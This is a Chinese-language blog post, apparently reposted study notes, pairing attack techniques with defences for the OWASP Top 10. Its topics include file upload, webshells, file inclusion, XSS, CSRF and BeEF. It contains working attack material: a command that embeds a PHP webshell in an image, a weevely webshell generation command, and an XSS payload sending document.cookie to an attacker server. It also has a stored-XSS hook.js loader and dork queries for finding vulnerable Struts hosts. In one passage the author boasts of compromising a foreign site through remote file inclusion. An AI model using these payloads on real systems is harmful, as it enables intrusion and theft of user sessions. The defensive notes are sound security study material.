owasp top 10 渗透防御思路总结

*********************************WEB SERVER *********************************************

一、文件上传漏洞(upload):     ../表示目录回退

漏洞验证:

防御:前端后台代码可以限制文件上传的后缀和大小,比如后台限制contenttype:plaint(mime)或后缀.txt   contentconposition(终极杀招:modsecurity:防止暴力破解,D盾Web查杀:网站后门查找工具、杀webshell,安全狗:云查杀,阿里云盾:WAF),最小权限运行Web服务,读写权限分离

攻击:前端的可以通过burpsuite、firebug拦截、修改前端代码,后台的文件后缀限制可以通过,有文件解析漏洞的话可以改文件名为hack.php.jpg,没有的话可以考虑上传图片一句话木马,,结合webshel和文件包含漏洞l拿shell。

二、webshell

漏洞验证:

若果后端的语言漏洞,涉及eva、system、exec、assert等操作命令,可拿webshell,挂马后可拿后台源码,用户数据....,,精心一句话木马可过狗等,post方法通过菜刀(webshell管理工具:管文件、数据库(结合SQLmap获得登录账号密码后)、虚拟终端)http连接到木马文件在目标网站上的url可以执行木马,get方法可在地址栏那里输入木马php对应系统函数命令         被发现的话可通过编码加密过狗之类的,文件管理是通备技能

webshell管理工具:寄生虫工具(还可以批量挂链,做seo)eg: xise wbms 可批量导入菜刀链接数据和数据库db.mdb,支持再上传,防止菜刀木马被杀而失联

问:如何制作一句话木马图片?

问:有哪些一句话php木马(查看笔记补全)

edjpgcom.exe软件 或cmd下:copy hacker.jpg/b+shell.php/a  hash.jpg

weevely:功能类似于内网后渗透工具meterpreter强大,用于绕过的工具,也可用于生成大马(无论是一句话木马,还是大马,在生成过程中都要赋密码值),后渗透阶段提供了包括查找目标网站主机层面的信息:端口,system,network,网段等信息以及审计


问:如何制作大马?通过weevely ,eg:命令 weevely gennerate hack ~/Desktop/big.php  :通过weevely 172.16.1.136可以连上之前过了小马的文件,防止小马被删

问:如何查找上传文件的路径在哪

问:有哪些可以getshell的漏洞


三、文件包含

漏洞验证:

 一般都是调用肉鸡网站代码的文件包含函数, 文件包含的危害是肉鸡不是替黑客读取木马文件的内容,而是解析并执行木马文件.txt的内容

靶机访问执行别人木马文件后,把别人的脚本fputs/fwrite包含到本地web目录下,生成webshell(和文件上传的区别是主动请求与被动请求的区别)

防御:1、对page后面的变量进行过滤,比如限制http、https协议,通过硬编码写死,比如在后台那里固定file=include.php,,这样前端只能?page=include.php

2、后台少用文件包含代码,取消allow_url_fopen_on以及allow_url_include on

存在漏洞,可通过链接url访问肉鸡主机http://........?page= /etc/password

2、RFI(远程包含):eg:肉鸡某页面链接存在漏洞,通过重定向肉鸡去访问另一台病毒机器携带的url http://........?pages=http://........?(肉鸡没有做限制安全访问,竟允许跨域访问)  PHP架构靶机需要开启:vim php.ini     --->  allow_url_fopen_on以及allow_url_include on


四、文件上传结合文件包含

漏洞验证:

1、(本地文件包含+一句话木马)制作图片木马、寻找文件上传漏洞并上传-->执行文件包含并生成后门(在肉鸡对应目录下可以看到生成新的shell.php文件)

通过菜刀连接webshell,

2、(远程文件包含+一句话木马)google全网含有?php关键字网站页面,用绿盟扫描器扫,得到,sql注入,文件包含,在自己服务器下
存放一句话木马,然后通过远程文件包含,让台湾请求我的服务器页面,然后getshell,接着跑出的sqlmap里面含有数据库
密码,连着菜刀,全面拿下它。

3、文件包含+php封装协议  :可以用ftp、PHP、协议传输木马文件,绕过对http协议的限制


五、命令执行漏洞

漏洞验证:

例:以aphace struts2 漏洞复现为例:

1、Struts服务器搜寻 -->google :inurl:index.action  inurl:login.action  intitle:"Struts Problem Report"

2、Jexboss 实现渗透利用(kali linux 上已经集成) -->

*******************************数   据   库***************************************

六、SQL 注入

漏洞验证:输入:特殊字符 , &



*****************************WEB 前端area****************************************************************

七、XSS 跨站脚本攻击           比如js脚本

         ###   反射型   ###

防御:输入过滤,过滤<script>  后端加入htmlspecialchars()函数,用于对用户输入代码进行html完全转义,不执行脚本,只对文本进行输出

攻击关键词:白名单 代码混淆(推荐:tool.chinaz.com/tools/jscodeconfusion.aspx) 大小写 黑名单  字符编码

漏洞验证:输入框内输入 <script>alert('xss')</script>  或页面重定向等等       存储利用:<script  src='黑客IP:端口/hook.js'></script>

危害:钓鱼、xss蠕虫(用户点击木马后自动转发扩散)

漏洞出现点一般在用户输入的地方    分为反射性(输入什么就反射什么)和存储型,攻击对象不再是服务器,而是用户,比如用户踩到黑客存储在网站上的而已js代码,结果上钩(hook),反向连接到黑客的电脑,被黑客拿shell,(beff渗透结果推荐)。

反射型小实验:攻击者收取某网站用户cookie信息(eg:微博的私信功能,淘宝私信试试,哈哈)          (百度搜xss键盘收集器、xssDDOS攻击器)

前期准备:攻击者     1、要有xss脚本文件 2、攻击者需要自己架设web服务,编写cookie接收脚本.php,并修改权限到777,用来收取被盗用户的cookie信息。

                    用户   在登录社交网站后,点击到攻击者的木马脚本<script >window.open('http://黑客服务器地址/cookie.php?cookie='+document.cookie<------这个就是用户cookie)</script>,那么黑客就会在自己架设的web服务器上收集到用户的cookie,默认存放在 /var/www/html 下,也可以在/var/log/apache/access.log ,

拿到cookie后的利用思路

1、利用burpsuit 上的tamper data,start后刷新页面http://................,(ps:这个页面是正常用户登录后才有的页面),填入用户cookie,搞定

2、利用burpsuit 上的代理拦截,然后sent to repeat er改cookie信息重放

      ####存储型####

获取用户数据小实验:攻击者在xss漏洞页面(eg:输入框)留下类似<script  src='黑客IP:端口/hook.js'></script>脚本,


###############自动化xss####################


BEEF   :客户端渗透测试框架

问:如何修改<script  src='127.0.0.1:端口/hook.js'></script>为 <script  src='黑客IP:端口/hook.js'></script>脚

命令行配置:

cd /user/share/beef-xss

持久化控制:怕session id 失效,  方法:在beef中间人模块那里执行小弹框保存当前网页payload或者另一个思路:替换当前浏览器所有url为用户刚刚想退出的那个url网页

漏洞利用:与metasploit 联动,实现主机层面漏洞利用

beef与社会工程学

防御思路:

1、web客户端和服务端要对用户输入进行字符过滤,例如后端加入htmlspecialchars()函数,

2、硬件层面加入WAF网页防火墙

3、用户把浏览器安全级别设为最高级别,cookkie属性HTTPOnly设置为true,防止被JS调用

4、关闭浏览器自动密码填写功能,防止被钓鱼页面/表单调取账号密码


########CSRF#######


一、csrf poc 一般就是一个网页链接,攻击过程就是用户点击链接

被攻击端主要是在用户端,而xss主要在服务端

二、xsrf(xss+csrf)实现骗取管理员修改登录密码

 ***通过get方法修改思路***

1、在原来xss植入hook的基础上,进入beef里面()

2、csrf:链接替代:点击Replace HREFS(或者链接重定向:Redirect Browser)

***通过post方法修改思路***

  beef+burpsuite实现

通过beef的ride功能,将复制来自brupsuite的post信息复制进去

防御:

1、随机token:黑客无法在伪造的页面链接里构造它(正常操作一步一步提交server才会发token值)

2、二次认证,加入图片手机验证码

3、Refer 检测:refer字段标记会话从哪里来,若从不同网站来的请求,则丢弃(通过比较request包里的refer字段网站地址和它里面的host+post地址是否一致)

4、若目标服务器存在xss漏洞,csrf的上述防御方法将失效


















猜你喜欢

转载自blog.csdn.net/dongfei2033/article/details/79586180